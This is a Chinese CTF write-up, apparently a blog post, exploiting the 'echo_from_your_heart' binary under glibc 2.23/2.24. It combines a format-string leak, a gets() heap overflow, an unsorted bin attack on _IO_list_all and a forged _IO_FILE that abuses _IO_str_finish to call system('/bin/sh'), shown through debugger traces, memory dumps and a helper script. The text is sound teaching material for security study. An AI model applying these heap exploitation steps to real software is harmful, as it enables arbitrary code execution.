PWN技巧之_IO_FILE文件结构体利用echo_from_your_heart

20 篇文章 0 订阅
3 篇文章 0 订阅

解题思路

Libc2.24解法

安全机制检查

healer@healer-virtual-machine:~/Desktop/echo_from_your_heart$ readelf -h echo_from_your_heart
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x9c0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          4512 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         27
  Section header string table index: 26

healer@healer-virtual-machine:~/Desktop/echo_from_your_heart$ checksec echo_from_your_heart
[*] '/home/healer/Desktop/echo_from_your_heart/echo_from_your_heart'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

分析利用过程

漏洞分析

触发_int_free()创造free chunk
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // ebx
  unsigned int length; // eax
  void *v5; // rbp

  v3 = 5;
  init_AB0(a1, a2, a3);
  puts("echo from your heart");
  do
  {
    __printf_chk(1LL, "lens of your word: ");
    length = getinpt_AF0();
    if ( length > 0x1000 )
    {
      puts("too long");
      exit(1);
    }
    v5 = malloc(length);          // 申请内存大小为输入的值,不能大于0x1000
    __printf_chk(1LL, "word: ");
    gets(v5);                     // 此处输入的字符数可以很大,没有长度限制,溢出
    __printf_chk(1LL, "echo: ");
    __printf_chk(1LL, v5);
    putchar(10);
    --v3;
  }
  while ( v3 );
  return 0LL;
}

上面的get(v5)函数存在堆溢出漏洞,考虑以此为入手点,但是此程序保护全开,需要泄漏地址,got表劫持可以考虑

通过利用格式化字符串漏洞泄漏出libc的函数地址之后,构造UnsortedBin之后发现在覆盖topchunk之后再次申请出发sysmalloc()函数的int_free()时发现会触发检测错误

这个检测过不了

assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
          prev_inuse (old_top) &&
          ((unsigned long) old_end & (pagesize - 1)) == 0));

然后出现下面这种情况

pwndbg> 

Program received signal SIGABRT, Aborted.
0x00007ffff7a42438 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*RAX  0x0
*RBX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000001
*RCX  0x7ffff7a42438 (raise+56) ◂— cmp    rax, -0x1000 /* 'H=' */
*RDX  0x6
*RDI  0x23a0
*RSI  0x23a0
*R8   0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
*R9   0x7ffff7fdd700 ◂— 0x7ffff7fdd700
*R10  0x8
*R11  0x246
*R12  0xfa0
*R13  0x5555557560a0 ◂— 0x0
*R14  0x1000
*R15  0x1000
*RBP  0xfd0
*RSP  0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov    rdx, qword ptr fs:[0x10]
*RIP  0x7ffff7a42438 (raise+56) ◂— cmp    rax, -0x1000 /* 'H=' */
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
 ► 0x7ffff7a42438 <raise+56>    cmp    rax, -0x1000
   0x7ffff7a4243e <raise+62>    ja     raise+96 <raise+96>
 
   0x7ffff7a42440 <raise+64>    ret    
 
   0x7ffff7a42442 <raise+66>    nop    word ptr [rax + rax]
   0x7ffff7a42448 <raise+72>    test   ecx, ecx
   0x7ffff7a4244a <raise+74>    jg     raise+43 <raise+43>
    ↓
   0x7ffff7a4242b <raise+43>    movsxd rdx, edi
   0x7ffff7a4242e <raise+46>    mov    eax, 0xea
   0x7ffff7a42433 <raise+51>    movsxd rdi, ecx
   0x7ffff7a42436 <raise+54>    syscall 
   0x7ffff7a42438 <raise+56>    cmp    rax, -0x1000
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov    rdx, qword ptr fs:[0x10]
01:0008│      0x7fffffffda30 ◂— 0x20 /* ' ' */
02:0010│      0x7fffffffda38 ◂— 0x0
... ↓
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
 ► f 0     7ffff7a42438 raise+56
   f 1     7ffff7a4403a abort+362
   f 2     7ffff7a8a2f8 __malloc_assert+104
   f 3     7ffff7a8e436 sysmalloc+470
   f 4     7ffff7a8f763 _int_malloc+3027
   f 5     7ffff7a911d4 malloc+84
   f 6     555555554947
   f 7     7ffff7a2d840 __libc_start_main+240
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
    b'echo: '
[DEBUG] Received 0xc4 bytes:
    b'deadbeef0x7ffff7dd37800x7ffff7b043800x7ffff7fdd7000x6(nil)0x555555554b800x5555555549c00x7ffff7a2d840aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
[+] libc_start_mian -> 0x7ffff7a2d750
[+] /lib/x86_64-linux-gnu/libc-2.23.so (id local-ae799c0d270a8152908e5882bde6424c6693f7a3) be choosed.
0x7ffff7a0d000
[+] system_addr -> 0x7ffff7a523a0
[+] str_bin_sh_addr -> 0x7ffff7b99e17
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Received 0x13 bytes:
    b'lens of your word: '
[DEBUG] Sent 0x5 bytes:
    b'4032\n'
[DEBUG] Received 0xe9 bytes:
    b"echo_from_your_heart: malloc.c:2401: sysmalloc: Assertion `(old_top 
    == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >=
     MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & 
     (pagesize - 1)) == 0)' failed.\n"

下面是IDA调试结果:

libc_2.23.so:00007FFFF7A8E400 loc_7FFFF7A8E400:                       ; CODE XREF: sub_7FFFF7A8E260+7Ej
libc_2.23.so:00007FFFF7A8E400                                         ; sub_7FFFF7A8E260+87j
libc_2.23.so:00007FFFF7A8E400 cmp     r12, 1Fh     # 此处校验请求的大小是否大于MINSIZE     
libc_2.23.so:00007FFFF7A8E404 jbe     short loc_7FFFF7A8E417
libc_2.23.so:00007FFFF7A8E406 test    al, 1        # 检测最低位是否是1,就是pre_inuse位是否置位为1
libc_2.23.so:00007FFFF7A8E408 jz      short loc_7FFFF7A8E417
libc_2.23.so:00007FFFF7A8E40A lea     rax, [r15-1]      # r15存储page大小
libc_2.23.so:00007FFFF7A8E40E test    rdx, rax       # rdx指向top chunk开始处堆的起始地址加上原有top chunk剩余的大小,即校验是否满足页对齐
# 其实就是看一看原来分配的正常的堆块是对齐的,现在使用过之后用到哪里了剩下多少,加起来还满不满足页对齐
libc_2.23.so:00007FFFF7A8E411 jz      loc_7FFFF7A8E2ED   # 此处如果跳转成功则可以继续执行
libc_2.23.so:00007FFFF7A8E417
libc_2.23.so:00007FFFF7A8E417 loc_7FFFF7A8E417:                       ; CODE XREF: sub_7FFFF7A8E260+1A4j
libc_2.23.so:00007FFFF7A8E417                                         ; sub_7FFFF7A8E260+1A8j
libc_2.23.so:00007FFFF7A8E417 lea     rcx, aSysmalloc                 ; "sysmalloc"     # 此处开始获取告警字符串存储的位置
libc_2.23.so:00007FFFF7A8E41E lea     rsi, aMalloc_c                  ; "malloc.c"
libc_2.23.so:00007FFFF7A8E425 lea     rdi, aOld_topInitial            ; "(old_top == initial_top (av) && old_siz"...
libc_2.23.so:00007FFFF7A8E42C mov     edx, 961h
libc_2.23.so:00007FFFF7A8E431 call    near ptr unk_7FFFF7A8A290      # 此处触发告警信息并且导致程序结束
libc_2.23.so:00007FFFF7A8E436 db      2Eh
libc_2.23.so:00007FFFF7A8E436 nop     word ptr [rax+rax+00000000h]
libc_2.23.so:00007FFFF7A8E440

根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用

下面扩展一个GDB的调试结果,同样也是锁定报错的位置

pwndbg> 
0x00007ffff7a8e40e	2398	in malloc.c
...
*RAX  0xfff
...
 RDX  0x555555757000 ◂— 0x0    # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60)
...
 R15  0x1000
...
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
   0x7ffff7a8e400 <sysmalloc+416>    cmp    r12, 0x1f      # 此处校验请求的大小是否大于MINSIZE
   0x7ffff7a8e404 <sysmalloc+420>    jbe    sysmalloc+439 <sysmalloc+439>
 
   0x7ffff7a8e406 <sysmalloc+422>    test   al, 1      # 检测最低位是否是1,就是pre_inuse位是否置位为1
   0x7ffff7a8e408 <sysmalloc+424>    je     sysmalloc+439 <sysmalloc+439>
 
   0x7ffff7a8e40a <sysmalloc+426>    lea    rax, [r15 - 1]
 ► 0x7ffff7a8e40e <sysmalloc+430>    test   rdx, rax     # 校验页对齐
   0x7ffff7a8e411 <sysmalloc+433>    je     sysmalloc+141 <sysmalloc+141>
    ↓
   0x7ffff7a8e2ed <sysmalloc+141>    lea    rax, [rbp + 0x20]
...
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
 ► f 0     7ffff7a8e40e sysmalloc+430
   f 1     7ffff7a8f763 _int_malloc+3027
   f 2     7ffff7a911d4 malloc+84
   f 3     555555554947
   f 4     7ffff7a2d840 __libc_start_main+240
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vis

...
0x5555557560a0	0x0000000000000000	0x0000000000000f61	........a.......	 <-- Top chunk
    起始地址                               剩余大小

至此,再次附上sysmalloc中的_int_free的基本条件:

assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

翻译过来就是—伪造的top_chunksize要满足一下条件:

  • size要大于MINSIZEMINSIZE一般为0x20
  • sizepre_inuse位要为1
  • old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
  • size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点

阶段成果

通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件

利用get()函数溢出发起Unsortedbin Attack

前面创造的free chunk如下所示:

pwndbg> vis

0x555555756000	0x0000000000000000	0x00000000000000a1	................
0x555555756010	0x6665656264616564	0x7024322570243125	deadbeef%1$p%2$p
0x555555756020	0x7024342570243325	0x7024362570243525	%3$p%4$p%5$p%6$p
0x555555756030	0x7024382570243725	0x6161616161616161	%7$p%8$paaaaaaaa
0x555555756040	0x6161616161616161	0x6161616161616161	aaaaaaaaaaaaaaaa
...
0x555555756090	0x6161616161616161	0x0000000000000000	aaaaaaaa........
0x5555557560a0	0x0000000000000000	0x0000000000000f41	........A.......	 <-- unsortedbin[all][0]
0x5555557560b0	0x00007ffff7dd1b78	0x00007ffff7dd1b78	x.......x.......
0x5555557560c0	0x0000000000000000	0x0000000000000000	................

再次malloc(0x20)之后得到

───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vis

0x555555756000	0x0000000000000000	0x00000000000000a1	................
0x555555756010	0x6665656264616564	0x7024322570243125	deadbeef%1$p%2$p
0x555555756020	0x7024342570243325	0x7024362570243525	%3$p%4$p%5$p%6$p
0x555555756030	0x7024382570243725	0x6161616161616161	%7$p%8$paaaaaaaa
0x555555756040	0x6161616161616161	0x6161616161616161	aaaaaaaaaaaaaaaa
...
0x555555756090	0x6161616161616161	0x0000000000000000	aaaaaaaa........
0x5555557560a0	0x0000000000000000	0x0000000000000031	........1.......
0x5555557560b0	0x00007ffff7dd2188	0x00007ffff7dd2188	.!.......!......
0x5555557560c0	0x00005555557560a0	0x00005555557560a0	.`uUUU...`uUUU..
0x5555557560d0	0x0000000000000000	0x0000000000000f11	................	 <-- unsortedbin[all][0]
0x5555557560e0	0x00007ffff7dd1b78	0x00007ffff7dd1b78	x.......x.......
0x5555557560f0	0x0000000000000000	0x0000000000000000	................

得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0]

pwndbg> vis

0x555555756000	0x0000000000000000	0x00000000000000a1	................
0x555555756010	0x6665656264616564	0x7024322570243125	deadbeef%1$p%2$p
0x555555756020	0x7024342570243325	0x7024362570243525	%3$p%4$p%5$p%6$p
0x555555756030	0x7024382570243725	0x6161616161616161	%7$p%8$paaaaaaaa
...
0x555555756090	0x6161616161616161	0x0000000000000000	aaaaaaaa........
0x5555557560a0	0x0000000000000000	0x0000000000000031	........1.......
0x5555557560b0	0x6262626262626262	0x6262626262626262	bbbbbbbbbbbbbbbb
0x5555557560c0	0x6262626262626262	0x6262626262626262	bbbbbbbbbbbbbbbb
0x5555557560d0	0x0000000000000000	0x0000000000000061	........a.......	 <-- unsortedbin[all][0]
0x5555557560e0	0x0000000000000000	0x00007ffff7dd2510	.........%......
0x5555557560f0	0x0000000000000002	0x0000000000000003	................
0x555555756100	0x0000000000000000	0x00007ffff7b99e17	................
0x555555756110	0x0000000000000000	0x0000000000000000	................
0x555555756120	0x0000000000000000	0x0000000000000000	................
0x555555756130:	0x0000000000000000	0x0000000000000000
0x555555756140:	0x0000000000000000	0x0000000000000000
0x555555756150:	0x0000000000000000	0x0000000000000000
0x555555756160:	0x0000000000000000	0x0000000000000000
0x555555756170:	0x0000000000000000	0x0000000000000000
0x555555756180:	0x0000000000000000	0x0000000000000000
0x555555756190:	0x0000000000000000	0x0000000000000000
0x5555557561a0:	0x0000000000000000	0x00007ffff7dd0798
0x5555557561b0:	0x0000000000000000	0x00007ffff7a523a0
0x5555557561c0:	0x0000000000000000	0x0000000000000000

可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段

0x5555557560d0	0x0000000000000000	0x0000000000000061	........a.......	 <-- unsortedbin[all][0]
0x5555557560e0	0x0000000000000000	0x00007ffff7dd2510	.........%......

我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510

再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下:

victim = unsorted_bin(av)->bk = p;
bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk
unsorted_bin(av)->bk = bck;
bck->fd = unsorted_bin(av);            // bck->fd is *(target_addr)

经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值

单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时):

pwndbg> x/50xg 0x555555756000
...
0x5555557560a0:	0x0000000000000000	0x0000000000000031
0x5555557560b0:	0x00007ffff7dd2188	0x00007ffff7dd2188
0x5555557560c0:	0x00005555557560a0	0x00005555557560a0
0x5555557560d0:	0x0000000000000000	0x0000000000000f11
0x5555557560e0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
                      FD                     BK
0x5555557560f0:	0x0000000000000000	0x0000000000000000
0x555555756100:	0x0000000000000000	0x0000000000000000

pwndbg> x/30xg 0x7ffff7dd1b20+8
0x7ffff7dd1b28 <main_arena+8>:	0x0000000000000000	0x0000000000000000
...
0x7ffff7dd1b78 <main_arena+88>:	0x0000555555777f80	0x00005555557560d0
                               FD point to topchunk        BK
0x7ffff7dd1b88 <main_arena+104>:	0x00005555557560d0	0x00005555557560d0

pwndbg> p _IO_list_all
$5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>

拆链之后:

pwndbg> x/50xg 0x555555756000
...
0x5555557560a0:	0x0000000000000000	0x0000000000000031
0x5555557560b0:	0x6262626262626262	0x6262626262626262
0x5555557560c0:	0x6262626262626262	0x6262626262626262
0x5555557560d0:	0x0000000000000000	0x0000000000000061
0x5555557560e0:	0x0000000000000000	0x00007ffff7dd2510
                                     target_addr-0x10
0x5555557560f0:	0x0000000000000002	0x0000000000000003
0x555555756100:	0x0000000000000000	0x00007ffff7b99e17
0x555555756110:	0x0000000000000000	0x0000000000000000

pwndbg> x/30xg 0x7ffff7dd1b20+8
0x7ffff7dd1b28 <main_arena+8>:	0x0000000000000000	0x0000000000000000
...
0x7ffff7dd1b78 <main_arena+88>:	0x0000555555777f80	0x00005555557560d0
0x7ffff7dd1b88 <main_arena+104>:	0x00005555557560d0	0x00007ffff7dd2510
0x7ffff7dd1b98 <main_arena+120>:	0x00007ffff7dd1b88	0x00007ffff7dd1b88

pwndbg> p _IO_list_all
$6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>

至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下:

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);// victim_index=6
bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10
fwd = bck->fd;
}mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。
bck->fd = victim;

观察修改之后堆空间的数据变化:

pwndbg> x/30xg 0x7ffff7dd1b20+8
0x7ffff7dd1b28 <main_arena+8>:	0x0000000000000000	0x0000000000000000
...
0x7ffff7dd1b78 <main_arena+88>:	0x0000555555777f80	0x00005555557560d0
0x7ffff7dd1b88 <main_arena+104>:	0x00005555557560d0	0x00007ffff7dd2510
0x7ffff7dd1b98 <main_arena+120>:	0x00007ffff7dd1b88	0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+136>:	0x00007ffff7dd1b98	0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+152>:	0x00007ffff7dd1ba8	0x00007ffff7dd1ba8
0x7ffff7dd1bc8 <main_arena+168>:	0x00007ffff7dd1bb8	0x00007ffff7dd1bb8
0x7ffff7dd1bd8 <main_arena+184>:	0x00005555557560d0	0x00005555557560d0
                                         FD                   BK
0x7ffff7dd1be8 <main_arena+200>:	0x00007ffff7dd1bd8	0x00007ffff7dd1bd8

k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针)

参照下图整理思路:
在这里插入图片描述

将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk

pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78
$7 = {
  file = {
    _flags = 1433894784, 
    _IO_read_ptr = 0x5555557560d0 "", 
    _IO_read_end = 0x5555557560d0 "", 
    _IO_read_base = 0x7ffff7dd2510 "", 
    _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", 
    _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", 
    _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", 
    _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", 
    _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", 
    _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", 
    _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", 
    _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", 
    _markers = 0x5555557560d0, 
    _chain = 0x5555557560d0,       #  point to fake chunk
    _fileno = -136504360, 
    _flags2 = 32767, 
    _old_offset = 140737351850968, 
    _cur_column = 7144, 
    _vtable_offset = -35 '\335', 
    _shortbuf = <incomplete sequence \367>, 
    _lock = 0x7ffff7dd1be8 <main_arena+200>, 
    _offset = 140737351851000, 
    _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, 
    _wide_data = 0x7ffff7dd1c08 <main_arena+232>, 
    _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, 
    _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, 
    __pad5 = 140737351851032, 
    _mode = -136504280, 
    _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"
  }, 
  vtable = 0x7ffff7dd1c38 <main_arena+280>
}

再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式

pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0
$8 = {
  file = {
    _flags = 0, 
    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, 
    _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", 
    _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", 
    _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, 
    _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x0, 
    _fileno = 0, 
    _flags2 = 0, 
    _old_offset = 0, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "", 
    _lock = 0x0, 
    _offset = 0, 
    _codecvt = 0x0, 
    _wide_data = 0x0, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = 0, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd0798
}

到此UnsortedBinAttack的过程完毕

触发_IO_FILE漏洞的利用

上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。

实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链

malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow

最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章:

构造方法连接

libc2.24 添加check 利用io_str_jumps

libc2.24vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

vtable必须要满足 在 __stop___IO_vtables__start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。
但是_IO_str_jumps__IO_wstr_jumps就位于 __stop___libc_IO_vtables__start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps__IO_wstr_jumps就行。
利用方式两种:

  • 利用__IO_str_jumps中的_IO_str_finsh函数
  • 利用__IO_str_jumps中的_IO_str_overflow函数
如何确定io_str_jumps地址?

由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示

pwndbg> p _IO_str_underflow
$1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow>
pwndbg> search -p 0x7f4d4cf04790
libc.so.6       0x7f4d4d2240a0 0x7f4d4cf04790
libc.so.6       0x7f4d4d224160 0x7f4d4cf04790
libc.so.6       0x7f4d4d2245e0 0x7f4d4cf04790
pwndbg> p &_IO_file_jumps
$2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps>

可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过):

IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
    possible_IO_str_jumps_offset = ref_offset - 0x20
    if possible_IO_str_jumps_offset > IO_file_jumps_offset:
        print possible_IO_str_jumps_offset
        break
io_str_finish
void _IO_str_finish (FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & 1))
    ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h]
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}

条件:

fp->_IO_buf_base为真
fp->_flags & 1 为假  // fp->_flags=0

即:
1. fp->_mode = 0
2. fp->_IO_write_ptr > fp->_IO_write_base
3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size)
4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件)
vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish
5. fp->_flags= 0
6. fp->_IO_buf_base = binsh_addr
7. fp+0xe8 = system_addr

fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样)

调用_IO_flush_all_lockp:
   0x7ffff7a89194 <_IO_flush_all_lockp+356>    mov    rax, qword ptr [rbx + 0xd8]
 ► 0x7ffff7a8919b <_IO_flush_all_lockp+363>    mov    esi, 0xffffffff
   0x7ffff7a891a0 <_IO_flush_all_lockp+368>    mov    rdi, rbx
   0x7ffff7a891a3 <_IO_flush_all_lockp+371>    call   qword ptr [rax + 0x18]

调用_IO_str_finish:
 ► 0x7ffff7a89fb0 <_IO_str_finish>       push   rbx
   0x7ffff7a89fb1 <_IO_str_finish+1>     mov    rbx, rdi
   0x7ffff7a89fb4 <_IO_str_finish+4>     mov    rdi, qword ptr [rdi + 0x38]
   0x7ffff7a89fb8 <_IO_str_finish+8>     test   rdi, rdi

即将call _IO_str_finish:
 ► 0x7ffff7a89fc2 <_IO_str_finish+18>    call   qword ptr [rbx + 0xe8] <system>

调用system:
pwndbg> si
...
 RDI  0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */
...
*RIP  0x7ffff7a523a0 (system) ◂— test   rdi, rdi
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
 ► 0x7ffff7a523a0 <system>          test   rdi, rdi
   0x7ffff7a523a3 <system+3>        je     system+16 <system+16>
 
   0x7ffff7a523a5 <system+5>        jmp    do_system <do_system>
    ↓
   0x7ffff7a51e30 <do_system>       push   r12
   0x7ffff7a51e32 <do_system+2>     push   rbp
   0x7ffff7a51e33 <do_system+3>     xor    eax, eax

关于“/bin/sh”参数的偏移位置
 RDX  0x0
 RDI  0x5555557560d0 ◂— 0x0     # RDI point to fake chunk
 RSI  0xffffffff
 R8   0x4
 R9   0x0
 R10  0x8
 R11  0x346
 R12  0x7ffff7fdd700 ◂— 0x7ffff7fdd700
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0
*RIP  0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov    rdi, qword ptr [rdi + 0x38]
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
   0x7ffff7a89fb0 <_IO_str_finish>       push   rbx
   0x7ffff7a89fb1 <_IO_str_finish+1>     mov    rbx, rdi
 ► 0x7ffff7a89fb4 <_IO_str_finish+4>     mov    rdi, qword ptr [rdi + 0x38]

───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
0x00007ffff7a89fb8	319	in strops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0x7ffff7dd0798 ◂— 0x0
 RBX  0x5555557560d0 ◂— 0x0
 RCX  0x7ffff7a42740 (sigprocmask+16) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x0
*RDI  0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RSI  0xffffffff
 R8   0x4
 R9   0x0
 R10  0x8
 R11  0x346
 R12  0x7ffff7fdd700 ◂— 0x7ffff7fdd700
 R13  0x0
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0
*RIP  0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test   rdi, rdi
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
   0x7ffff7a89fb0 <_IO_str_finish>       push   rbx
   0x7ffff7a89fb1 <_IO_str_finish+1>     mov    rbx, rdi
